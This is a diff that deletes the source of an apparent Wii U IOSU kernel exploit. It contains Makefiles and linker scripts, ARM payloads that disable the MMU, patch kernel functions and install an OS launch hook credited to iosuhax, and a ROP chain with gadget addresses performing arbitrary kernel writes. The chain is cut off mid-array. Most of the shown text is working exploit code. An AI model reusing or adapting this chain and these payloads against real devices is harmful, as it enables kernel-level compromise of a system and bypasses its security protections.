BINFILES = $(wildcard data/*.bin)
|
||||
OFILES = $(BINFILES:data/%.bin=build/%.bin.o)
|
||||
OFILES += $(CFILES:source/%.c=build/%.o)
|
||||
DFILES = $(CFILES:source/%.c=build/%.d)
|
||||
SFILES = $(wildcard source/*.s)
|
||||
OFILES += $(SFILES:source/%.s=build/%.o)
|
||||
PROJECTNAME = ${shell basename "$(CURDIR)"}
|
||||
CWD = "$(CURDIR)""
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# canned command sequence for binary data, taken from devkitARM
|
||||
#---------------------------------------------------------------------------------
|
||||
define bin2o
|
||||
bin2s $< | $(AS) -o $(@)
|
||||
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > source/`(echo $(<F) | tr . _)`.h
|
||||
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> source/`(echo $(<F) | tr . _)`.h
|
||||
echo "extern const u32" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> source/`(echo $(<F) | tr . _)`.h
|
||||
endef
|
||||
|
||||
.PHONY:=all dirs
|
||||
|
||||
all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_bin.h
|
||||
|
||||
dirs:
|
||||
@mkdir -p build
|
||||
|
||||
$(PROJECTNAME).bin: $(PROJECTNAME).elf
|
||||
# $(OBJCOPY) -O binary $< $@
|
||||
$(OBJCOPY) -j .text -j .rodata -O binary $< $@
|
||||
|
||||
$(PROJECTNAME)_bin.h: $(PROJECTNAME).bin
|
||||
xxd -i $< | sed "s/unsigned/static const unsigned/g;s/$(PROJECTNAME)$*/$(PROJECTNAME)/g" > $@
|
||||
|
||||
$(PROJECTNAME).elf: $(OFILES)
|
||||
$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES))
|
||||
|
||||
clean:
|
||||
@rm -rf build
|
||||
@rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h output.map
|
||||
@echo "all cleaned up !"
|
||||
|
||||
-include $(DFILES)
|
||||
|
||||
build/%.o: source/%.c
|
||||
$(CC) $(CFLAGS) -c $< -o $@
|
||||
@$(CC) -MM $< > build/$*.d
|
||||
|
||||
build/%.o: source/%.s
|
||||
$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@
|
||||
@$(CC) -MM $< > build/$*.d
|
||||
|
||||
build/%.bin.o: data/%.bin
|
||||
@echo $(notdir $<)
|
||||
@$(bin2o)
|
||||
@ -1,18 +0,0 @@
|
||||
OUTPUT_ARCH(arm)
|
||||
|
||||
MEMORY
|
||||
{
|
||||
RAMX (rx) : ORIGIN = 0x08134100, LENGTH = 0x000BF00
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
.text : ALIGN(0x100) {
|
||||
build/crt0.o(.init)
|
||||
*(.text)
|
||||
}
|
||||
.rodata : {
|
||||
*(.rodata*)
|
||||
}
|
||||
}
|
||||
|
||||
@ -1,12 +0,0 @@
|
||||
.section ".init"
|
||||
.arm
|
||||
.align 4
|
||||
|
||||
.extern _main
|
||||
.type _main, %function
|
||||
|
||||
.extern memset
|
||||
.type memset, %function
|
||||
|
||||
_start:
|
||||
b _main
|
||||
@ -1,122 +0,0 @@
|
||||
#include "types.h"
|
||||
#include "utils.h"
|
||||
#include "../../payload/arm_user_bin.h"
|
||||
|
||||
static const char repairData_set_fault_behavior[] = {
|
||||
0xE1,0x2F,0xFF,0x1E,0xE9,0x2D,0x40,0x30,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x40,0x00,
|
||||
0xE5,0x92,0x30,0x54,0xE1,0xA0,0x50,0x01,0xE3,0x53,0x00,0x01,0x0A,0x00,0x00,0x02,
|
||||
0xE1,0x53,0x00,0x00,0xE3,0xE0,0x00,0x00,0x18,0xBD,0x80,0x30,0xE3,0x54,0x00,0x0D,
|
||||
};
|
||||
static const char repairData_set_panic_behavior[] = {
|
||||
0x08,0x16,0x6C,0x00,0x00,0x00,0x18,0x0C,0x08,0x14,0x40,0x00,0x00,0x00,0x9D,0x70,
|
||||
0x08,0x16,0x84,0x0C,0x00,0x00,0xB4,0x0C,0x00,0x00,0x01,0x01,0x08,0x14,0x40,0x00,
|
||||
0x08,0x15,0x00,0x00,0x08,0x17,0x21,0x80,0x08,0x17,0x38,0x00,0x08,0x14,0x30,0xD4,
|
||||
0x08,0x14,0x12,0x50,0x08,0x14,0x12,0x94,0xE3,0xA0,0x35,0x36,0xE5,0x93,0x21,0x94,
|
||||
0xE3,0xC2,0x2E,0x21,0xE5,0x83,0x21,0x94,0xE5,0x93,0x11,0x94,0xE1,0x2F,0xFF,0x1E,
|
||||
0xE5,0x9F,0x30,0x1C,0xE5,0x9F,0xC0,0x1C,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x10,0x00,
|
||||
0xE5,0x92,0x30,0x54,0xE5,0x9C,0x00,0x00,
|
||||
};
|
||||
static const char repairData_usb_root_thread[] = {
|
||||
0xE5,0x8D,0xE0,0x04,0xE5,0x8D,0xC0,0x08,0xE5,0x8D,0x40,0x0C,0xE5,0x8D,0x60,0x10,
|
||||
0xEB,0x00,0xB2,0xFD,0xEA,0xFF,0xFF,0xC9,0x10,0x14,0x03,0xF8,0x10,0x62,0x4D,0xD3,
|
||||
0x10,0x14,0x50,0x00,0x10,0x14,0x50,0x20,0x10,0x14,0x00,0x00,0x10,0x14,0x00,0x90,
|
||||
0x10,0x14,0x00,0x70,0x10,0x14,0x00,0x98,0x10,0x14,0x00,0x84,0x10,0x14,0x03,0xE8,
|
||||
0x10,0x14,0x00,0x3C,0x00,0x00,0x01,0x73,0x00,0x00,0x01,0x76,0xE9,0x2D,0x4F,0xF0,
|
||||
0xE2,0x4D,0xDE,0x17,0xEB,0x00,0xB9,0x92,0xE3,0xA0,0x10,0x00,0xE3,0xA0,0x20,0x03,
|
||||
0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20,
|
||||
};
|
||||
|
||||
/* from smealum's iosuhax: must be placed at 0x05059938 */
|
||||
static const char os_launch_hook[] = {
|
||||
0x47, 0x78, 0x00, 0x00, 0xe9, 0x2d, 0x40, 0x0f, 0xe2, 0x4d, 0xd0, 0x08, 0xeb,
|
||||
0xff, 0xfd, 0xfd, 0xe3, 0xa0, 0x00, 0x00, 0xeb, 0xff, 0xfe, 0x03, 0xe5, 0x9f,
|
||||
0x10, 0x4c, 0xe5, 0x9f, 0x20, 0x4c, 0xe3, 0xa0, 0x30, 0x00, 0xe5, 0x8d, 0x30,
|
||||
0x00, 0xe5, 0x8d, 0x30, 0x04, 0xeb, 0xff, 0xfe, 0xf1, 0xe2, 0x8d, 0xd0, 0x08,
|
||||
0xe8, 0xbd, 0x80, 0x0f, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x64, 0x63, 0x61,
|
||||
0x72, 0x64, 0x30, 0x31, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, 0x63,
|
||||
0x61, 0x72, 0x64, 0x00, 0x00, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64,
|
||||
0x63, 0x61, 0x72, 0x64, 0x00, 0x05, 0x11, 0x60, 0x00, 0x05, 0x0b, 0xe0, 0x00,
|
||||
0x05, 0x0b, 0xcf, 0xfc, 0x05, 0x05, 0x99, 0x70, 0x05, 0x05, 0x99, 0x7e,
|
||||
};
|
||||
|
||||
static unsigned int __attribute__((noinline)) disable_mmu(void)
|
||||
{
|
||||
unsigned int control_register = 0;
|
||||
asm volatile("MRC p15, 0, %0, c1, c0, 0" : "=r" (control_register));
|
||||
asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register & 0xFFFFEFFA));
|
||||
return control_register;
|
||||
}
|
||||
|
||||
static void __attribute__((noinline)) restore_mmu(unsigned int control_register)
|
||||
{
|
||||
asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register));
|
||||
}
|
||||
|
||||
int _main()
|
||||
{
|
||||
int(*disable_interrupts)() = (int(*)())0x0812E778;
|
||||
int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C;
|
||||
void(*invalidate_icache)() = (void(*)())0x0812DCF0;
|
||||
void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164;
|
||||
void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160;
|
||||
char* (*kernel_memcpy)(void*, void*, int) = (char*(*)(void*, void*, int))0x08131D04;
|
||||
|
||||
flush_dcache(0x081200F0, 0x4001); // giving a size >= 0x4000 flushes all cache
|
||||
|
||||
int level = disable_interrupts();
|
||||
|
||||
unsigned int control_register = disable_mmu();
|
||||
|
||||
/* Save the request handle so we can reply later */
|
||||
*(volatile u32*)0x01E10000 = *(volatile u32*)0x1016AD18;
|
||||
|
||||
/* Patch kernel_error_handler to BX LR immediately */
|
||||
*(int*)0x08129A24 = 0xE12FFF1E;
|
||||
|
||||
void * pset_fault_behavior = (void*)0x081298BC;
|
||||
kernel_memcpy(pset_fault_behavior, (void*)repairData_set_fault_behavior, sizeof(repairData_set_fault_behavior));
|
||||
|
||||
void * pset_panic_behavior = (void*)0x081296E4;
|
||||
kernel_memcpy(pset_panic_behavior, (void*)repairData_set_panic_behavior, sizeof(repairData_set_panic_behavior));
|
||||
|
||||
void * pusb_root_thread = (void*)0x10100174;
|
||||
kernel_memcpy(pusb_root_thread, (void*)repairData_usb_root_thread, sizeof(repairData_usb_root_thread));
|
||||
|
||||
void * pUserBinSource = (void*)0x01E50000;
|
||||
void * pUserBinDest = (void*)0x101312D0;
|
||||
kernel_memcpy(pUserBinDest, (void*)pUserBinSource, sizeof(arm_user_bin));
|
||||
|
||||
int i;
|
||||
for (i = 0; i < 32; i++)
|
||||
if (i < 31)
|
||||
((char*)(0x050663B4 - 0x05000000 + 0x081C0000))[i] = ((char*)0x01E70000)[i];
|
||||
else
|
||||
((char*)(0x050663B4 - 0x05000000 + 0x081C0000))[i] = (char)0;
|
||||
|
||||
*(int*)(0x050282AE - 0x05000000 + 0x081C0000) = 0xF031FB43; // bl launch_os_hook
|
||||
|
||||
*(int*)(0x05052C44 - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, #0
|
||||
*(int*)(0x05052C48 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr
|
||||
|
||||
*(int*)(0x0500A818 - 0x05000000 + 0x081C0000) = 0x20002000; // mov r0, #0; mov r0, #0
|
||||
|
||||
*(int*)(0x040017E0 - 0x04000000 + 0x08280000) = 0xE3A00000;
|
||||
*(int*)(0x040019C4 - 0x04000000 + 0x08280000) = 0xE3A00000;
|
||||
*(int*)(0x04001BB0 - 0x04000000 + 0x08280000) = 0xE3A00000;
|
||||
*(int*)(0x04001D40 - 0x04000000 + 0x08280000) = 0xE3A00000;
|
||||
|
||||
for (i = 0; i < sizeof(os_launch_hook); i++)
|
||||
((char*)(0x05059938 - 0x05000000 + 0x081C0000))[i] = os_launch_hook[i];
|
||||
|
||||
*(int*)(0x1555500) = 0;
|
||||
|
||||
/* REENABLE MMU */
|
||||
restore_mmu(control_register);
|
||||
|
||||
invalidate_dcache(0x081298BC, 0x4001); // giving a size >= 0x4000 invalidates all cache
|
||||
invalidate_icache();
|
||||
|
||||
enable_interrupts(level);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@ -1,16 +0,0 @@
|
||||
#ifndef _TYPES_H
|
||||
#define _TYPES_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
typedef uint8_t u8;
|
||||
typedef uint16_t u16;
|
||||
typedef uint32_t u32;
|
||||
typedef uint64_t u64;
|
||||
|
||||
typedef int8_t s8;
|
||||
typedef int16_t s16;
|
||||
typedef int32_t s32;
|
||||
typedef int64_t s64;
|
||||
|
||||
#endif
|
||||
@ -1,25 +0,0 @@
|
||||
|
||||
void* m_memcpy(void *dst, const void *src, unsigned int len)
|
||||
{
|
||||
const unsigned char *src_ptr = (const unsigned char *)src;
|
||||
unsigned char *dst_ptr = (unsigned char *)dst;
|
||||
|
||||
while(len)
|
||||
{
|
||||
*dst_ptr++ = *src_ptr++;
|
||||
--len;
|
||||
}
|
||||
return dst;
|
||||
}
|
||||
|
||||
void* m_memset(void *dst, int val, unsigned int bytes)
|
||||
{
|
||||
unsigned char *dst_ptr = (unsigned char *)dst;
|
||||
unsigned int i = 0;
|
||||
while(i < bytes)
|
||||
{
|
||||
dst_ptr[i] = val;
|
||||
++i;
|
||||
}
|
||||
return dst;
|
||||
}
|
||||
@ -1,7 +0,0 @@
|
||||
#ifndef _UTILS_H_
|
||||
#define _UTILS_H_
|
||||
|
||||
void* m_memcpy(void *dst, const void *src, unsigned int len);
|
||||
void* m_memset(void *dst, int val, unsigned int len);
|
||||
|
||||
#endif
|
||||
@ -1,71 +0,0 @@
|
||||
ifeq ($(strip $(DEVKITARM)),)
|
||||
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
|
||||
endif
|
||||
|
||||
ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),)
|
||||
export PATH:=$(DEVKITARM)/bin:$(PATH)
|
||||
endif
|
||||
|
||||
CC = arm-none-eabi-gcc
|
||||
# LINK = arm-none-eabi-gcc
|
||||
LINK = arm-none-eabi-ld
|
||||
AS = arm-none-eabi-as
|
||||
OBJCOPY = arm-none-eabi-objcopy
|
||||
CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include
|
||||
LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" -Map=output.map
|
||||
|
||||
CFILES = $(wildcard source/*.c)
|
||||
BINFILES = $(wildcard data/*.bin)
|
||||
OFILES = $(BINFILES:data/%.bin=build/%.bin.o)
|
||||
OFILES += $(CFILES:source/%.c=build/%.o)
|
||||
DFILES = $(CFILES:source/%.c=build/%.d)
|
||||
SFILES = $(wildcard source/*.s)
|
||||
OFILES += $(SFILES:source/%.s=build/%.o)
|
||||
PROJECTNAME = ${shell basename "$(CURDIR)"}
|
||||
CWD = "$(CURDIR)""
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# canned command sequence for binary data, taken from devkitARM
|
||||
#---------------------------------------------------------------------------------
|
||||
define bin2o
|
||||
bin2s $< | $(AS) -o $(@)
|
||||
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > source/`(echo $(<F) | tr . _)`.h
|
||||
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> source/`(echo $(<F) | tr . _)`.h
|
||||
echo "extern const u32" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> source/`(echo $(<F) | tr . _)`.h
|
||||
endef
|
||||
|
||||
.PHONY:=all dirs
|
||||
|
||||
all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_bin.h
|
||||
|
||||
dirs:
|
||||
@mkdir -p build
|
||||
|
||||
$(PROJECTNAME).bin: $(PROJECTNAME).elf
|
||||
# $(OBJCOPY) -O binary $< $@
|
||||
$(OBJCOPY) -j .text -j .rodata -O binary $< $@
|
||||
|
||||
$(PROJECTNAME)_bin.h: $(PROJECTNAME).bin
|
||||
xxd -i $< | sed "s/unsigned/static const unsigned/g;s/$(PROJECTNAME)$*/$(PROJECTNAME)/g" > $@
|
||||
|
||||
$(PROJECTNAME).elf: $(OFILES)
|
||||
$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES))
|
||||
|
||||
clean:
|
||||
@rm -rf build
|
||||
@rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h output.map
|
||||
@echo "all cleaned up !"
|
||||
|
||||
-include $(DFILES)
|
||||
|
||||
build/%.o: source/%.c
|
||||
$(CC) $(CFLAGS) -c $< -o $@
|
||||
@$(CC) -MM $< > build/$*.d
|
||||
|
||||
build/%.o: source/%.s
|
||||
$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@
|
||||
@$(CC) -MM $< > build/$*.d
|
||||
|
||||
build/%.bin.o: data/%.bin
|
||||
@echo $(notdir $<)
|
||||
@$(bin2o)
|
||||
@ -1,18 +0,0 @@
|
||||
OUTPUT_ARCH(arm)
|
||||
|
||||
MEMORY
|
||||
{
|
||||
RAMX (rx) : ORIGIN = 0x101312D0, LENGTH = 0x000BF00
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
.text : ALIGN(0x04) {
|
||||
build/crt0.o(.init)
|
||||
*(.text)
|
||||
}
|
||||
.rodata : {
|
||||
*(.rodata*)
|
||||
}
|
||||
}
|
||||
|
||||
@ -1,20 +0,0 @@
|
||||
.section ".init"
|
||||
.arm
|
||||
.align 4
|
||||
|
||||
.extern _main
|
||||
.type _main, %function
|
||||
|
||||
.extern memset
|
||||
.type memset, %function
|
||||
|
||||
_start:
|
||||
b _main
|
||||
|
||||
.global IOS_DCFlushAllCache
|
||||
IOS_DCFlushAllCache:
|
||||
MOV R15, R0
|
||||
clean_loop:
|
||||
MRC p15, 0, r15, c7, c10, 3
|
||||
BNE clean_loop
|
||||
MCR p15, 0, R0, c7, c10, 4
|
||||
@ -1,30 +0,0 @@
|
||||
#include "types.h"
|
||||
#include "utils.h"
|
||||
|
||||
|
||||
void _main()
|
||||
{
|
||||
|
||||
void(*ios_shutdown)(int) = (void(*)(int))0x1012EE4C;
|
||||
|
||||
int(*reply)(int, int) = (int(*)(int, int))0x1012ED04;
|
||||
|
||||
int saved_handle = *(volatile u32*)0x01E10000;
|
||||
int myret = reply(saved_handle, 0);
|
||||
if (myret != 0)
|
||||
ios_shutdown(1);
|
||||
|
||||
// stack pointer will be 0x1016AE30
|
||||
// link register will be 0x1012EACC
|
||||
asm("LDR SP, newsp\n"
|
||||
"LDR R0, newr0\n"
|
||||
"LDR LR, newlr\n"
|
||||
"LDR PC, newpc\n"
|
||||
"newsp: .word 0x1016AE30\n"
|
||||
"newlr: .word 0x1012EACC\n"
|
||||
"newr0: .word 0x10146080\n"
|
||||
"newpc: .word 0x10111164\n");
|
||||
|
||||
|
||||
|
||||
}
|
||||
@ -1,16 +0,0 @@
|
||||
#ifndef _TYPES_H
|
||||
#define _TYPES_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
typedef uint8_t u8;
|
||||
typedef uint16_t u16;
|
||||
typedef uint32_t u32;
|
||||
typedef uint64_t u64;
|
||||
|
||||
typedef int8_t s8;
|
||||
typedef int16_t s16;
|
||||
typedef int32_t s32;
|
||||
typedef int64_t s64;
|
||||
|
||||
#endif
|
||||
@ -1,25 +0,0 @@
|
||||
|
||||
void* m_memcpy(void *dst, const void *src, unsigned int len)
|
||||
{
|
||||
const unsigned char *src_ptr = (const unsigned char *)src;
|
||||
unsigned char *dst_ptr = (unsigned char *)dst;
|
||||
|
||||
while(len)
|
||||
{
|
||||
*dst_ptr++ = *src_ptr++;
|
||||
--len;
|
||||
}
|
||||
return dst;
|
||||
}
|
||||
|
||||
void* m_memset(void *dst, int val, unsigned int bytes)
|
||||
{
|
||||
unsigned char *dst_ptr = (unsigned char *)dst;
|
||||
unsigned int i = 0;
|
||||
while(i < bytes)
|
||||
{
|
||||
dst_ptr[i] = val;
|
||||
++i;
|
||||
}
|
||||
return dst;
|
||||
}
|
||||
@ -1,7 +0,0 @@
|
||||
#ifndef _UTILS_H_
|
||||
#define _UTILS_H_
|
||||
|
||||
void* m_memcpy(void *dst, const void *src, unsigned int len);
|
||||
void* m_memset(void *dst, int val, unsigned int len);
|
||||
|
||||
#endif
|
||||
@ -1,7 +0,0 @@
|
||||
|
||||
.extern __main
|
||||
.globl _start
|
||||
|
||||
_start:
|
||||
# jump to our main
|
||||
b __main
|
||||
@ -1,387 +0,0 @@
|
||||
#include "types.h"
|
||||
#include "coreinit.h"
|
||||
|
||||
#define CHAIN_START 0x1016AD40
|
||||
#define SHUTDOWN 0x1012EE4C
|
||||
#define SIMPLE_RETURN 0x101014E4
|
||||
#define SOURCE 0x01E20000
|
||||
#define IOS_CREATETHREAD 0x1012EABC
|
||||
#define ARM_CODE_BASE 0x08134100
|
||||
#define REPLACE_SYSCALL 0x081298BC
|
||||
|
||||
/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */
|
||||
#include "payload/arm_kernel_bin.h"
|
||||
#include "payload/arm_user_bin.h"
|
||||
|
||||
/* ROP CHAIN STARTS HERE (0x1015BD78) */
|
||||
static const int final_chain[] = {
|
||||
0x101236f3, // 0x00 POP {R1-R7,PC}
|
||||
0x0, // 0x04 arg
|
||||
0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR
|
||||
0x68, // 0x0C stacksize
|
||||
0x10101638, // 0x10
|
||||
0x0, // 0x14
|
||||
0x0, // 0x18
|
||||
0x0, // 0x1C
|
||||
0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x24
|
||||
0x0, // 0x28
|
||||
0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x30
|
||||
0x0, // 0x34
|
||||
IOS_CREATETHREAD, // 0x38
|
||||
0x1, // 0x3C
|
||||
0x2, // 0x40
|
||||
0x10123a9f, // 0x44 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE92D4010, // 0x4C value: PUSH {R4,LR}
|
||||
0x0, // 0x50
|
||||
0x10123a8b, // 0x54 POP {R3,R4,PC}
|
||||
0x1, // 0x58 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x5C
|
||||
0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x64
|
||||
0x0, // 0x68
|
||||
0x1012EE64, // 0x6C set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x70
|
||||
0x0, // 0x74
|
||||
0x10123a9f, // 0x78 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A04000, // 0x80 value: MOV R4, R0
|
||||
0x0, // 0x84
|
||||
0x10123a8b, // 0x88 POP {R3,R4,PC}
|
||||
0x1, // 0x8C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x90
|
||||
0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x98
|
||||
0x0, // 0x9C
|
||||
0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0xA4
|
||||
0x0, // 0xA8
|
||||
0x10123a9f, // 0xAC POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF
|
||||
0x0, // 0xB8
|
||||
0x10123a8b, // 0xBC POP {R3,R4,PC}
|
||||
0x1, // 0xC0 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0xC4
|
||||
0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0xCC
|
||||
0x0, // 0xD0
|
||||
0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0xD8
|
||||
0x0, // 0xDC
|
||||
0x10123a9f, // 0xE0 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0)
|
||||
0x0, // 0xEC
|
||||
0x10123a8b, // 0xF0 POP {R3,R4,PC}
|
||||
0x1, // 0xF4 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0xF8
|
||||
0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x100
|
||||
0x0, // 0x104
|
||||
0x1012EE64, // 0x108 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x10C
|
||||
0x0, // 0x110
|
||||
0x10123a9f, // 0x114 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A00004, // 0x11C value: MOV R0, R4
|
||||
0x0, // 0x120
|
||||
0x10123a8b, // 0x124 POP {R3,R4,PC}
|
||||
0x1, // 0x128 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x12C
|
||||
0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x134
|
||||
0x0, // 0x138
|
||||
0x1012EE64, // 0x13C set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x140
|
||||
0x0, // 0x144
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0x00000000, // 0x150 value: NOP
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0x1AFFFFFD, // 0x150 value: BNE clean_loop
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A03004, // 0x184 value: MOV R3, R4
|
||||
0x0, // 0x188
|
||||
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
||||
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x194
|
||||
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
